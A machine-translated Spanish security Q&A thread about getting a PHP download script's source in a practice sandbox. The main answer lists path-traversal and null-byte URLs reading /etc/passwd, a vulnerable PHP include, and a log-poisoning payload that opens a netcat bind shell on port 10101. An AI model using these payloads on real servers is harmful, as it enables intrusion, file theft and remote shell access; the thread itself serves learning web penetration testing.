pruebas de la pluma de URL de PHP [cerrado]

0

Hola a todos. Estoy usando un sandbox para comenzar a practicar medidas de seguridad.

Me dan una URL que llama a un nombre de archivo usando la url (/download.php?file=files/read_me.txt) ... Sé que es posible obtener la fuente para download.php pero estoy luchando para hazlo He intentado lo básico (../download.php, etc, etc.) pero no puedo obtener la fuente. Creo que bloquea el uso de la extensión de PHP pero no sabría cómo evitar eso. ¿algunas ideas?

    
pregunta TheHidden 28.09.2015 - 16:37
fuente

3 respuestas

4

Proporcione más detalles sobre lo que ha intentado. ¿Qué tan alto en el árbol de directorios puede ir. Suponiendo que está utilizando Linux, ¿cuál es la respuesta cuando accede a las siguientes URL:

/download.php?file=files/../../../../../../../../etc/passwd
/download.php?file=files/../../../../../../../../etc/passwd%00
/download.php?file=../../../../../../../../etc/passwd
/download.php?file=files/../download.php%00
/download.php?file=files/../download.php.txt%00
/download.php?file=files/../download.php.html%00
/download.php?file=files/../download.php.jpg%00
/download.php?file=files/../download%00

Los siguientes filtros pueden estar en su lugar:

  • Validación de la ruta del archivo que restringe todas las solicitudes a un directorio determinado
  • Directorio de prevención de recorrido; Filtros que restringen la solicitud de archivos de otros directorios superiores al directorio raíz web ("/")
  • Filtros de extensión de archivo que impiden solicitar un archivo con cierta extensión (es decir, .php, .java, .aspx), generalmente archivos que manejan la lógica del lado del servidor.

En las URL anteriores, los posibles caracteres finales del lado del servidor se eliminan utilizando el byte nulo (% 00) para que no se consideren caracteres más allá de la URL. Por ejemplo, la ruta del archivo recuperada para las siguientes dos URL es la misma que para el código del lado del servidor:

/download.php?file=files/read_me.txt%00
/download.php?file=files/read_me.txt%00<some_string>

indicar el camino:

files/read_me.txt

Tenga en cuenta que el servidor puede concatenar una cadena que representa una extensión del archivo solicitado.

Agregar una extensión adicional al archivo puede engañar a los filtros para que piensen que está solicitando un archivo con una extensión válida. Por lo general, se aceptan extensiones de archivo estáticas: .html, .css, .jpg (la mayoría de los formatos de imagen), .js y s.o ..

Tenga en cuenta que para que la solicitud tenga éxito, la ruta del archivo debe ser válida.

Dependiendo de cómo se escriba download.php , también puede haber una LFI ataque. Si el parámetro de archivo no está saneado y se utiliza para incluir otra página como se muestra a continuación:

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }

?>

el código php se puede ejecutar al incluir el archivo respectivo. Un medio común es utilizar los archivos de registro del servidor para inyectar código malicioso colocando el código dentro del cuerpo de la solicitud. Por ejemplo, haciendo la siguiente solicitud:

/index.php?blah=<?php shell_exec('nc -l -p 10101 -e /bin/bash'); ?>

se configura una puerta trasera en el servidor en el puerto 10101 si el archivo de registro está incluido en una secuencia de comandos php similar a la anterior. Por ejemplo, al hacer la siguiente solicitud:

download.php?file=../../../../../../../var/log/apache2/access.log%00

netcat abre una conexión en modo de escucha en el puerto 10101. Hoy en día, la mayoría de los proveedores de alojamiento deshabilitar el comando de php ejecutando funciones.

    
respondido por el Sebi 28.09.2015 - 17:00
fuente
1

No puede obtener la fuente de los archivos .php como puede hacer con los archivos .html porque los archivos .php se ejecutan en el servidor y solo se envía el resultado al cliente. La fuente permanece en el servidor y no la deja en circunstancias normales. Eso significa que, cuando navegas a un archivo .php, no lo abres / descargas, solo le dices al servidor que lo ejecute.

Aunque no tengo el contexto completo de su ejemplo, supongo que tiene que engañar a la función de descarga de esa aplicación web en particular para enviarle el archivo download.php en lugar del archivo read_me.txt. Una forma de lograrlo es mediante el uso de un ataque de recorrido de ruta .

    
respondido por el pineappleman 28.09.2015 - 16:51
fuente
0

Siguiendo la respuesta de Sebi, puedes usar un script de recorrido de archivos. El marco de Metasploit puede implementar Rapid7s kit que hace esto bastante bien. Jugar con esta y otras herramientas de Rapid7 le brindará una buena experiencia con las pruebas de lápiz web.

Como alternativa, puede realizar una exploración de puertos para otras vulnerabilidades, como una FTP contraseña.

Además, puede haber una configuración FTP anónimo mal configurada que puede explotar también.

La prueba del lápiz web con kali es un gran comienzo por cierto ...

    
respondido por el Matthew Peters 28.09.2015 - 17:18
fuente

Lea otras preguntas en las etiquetas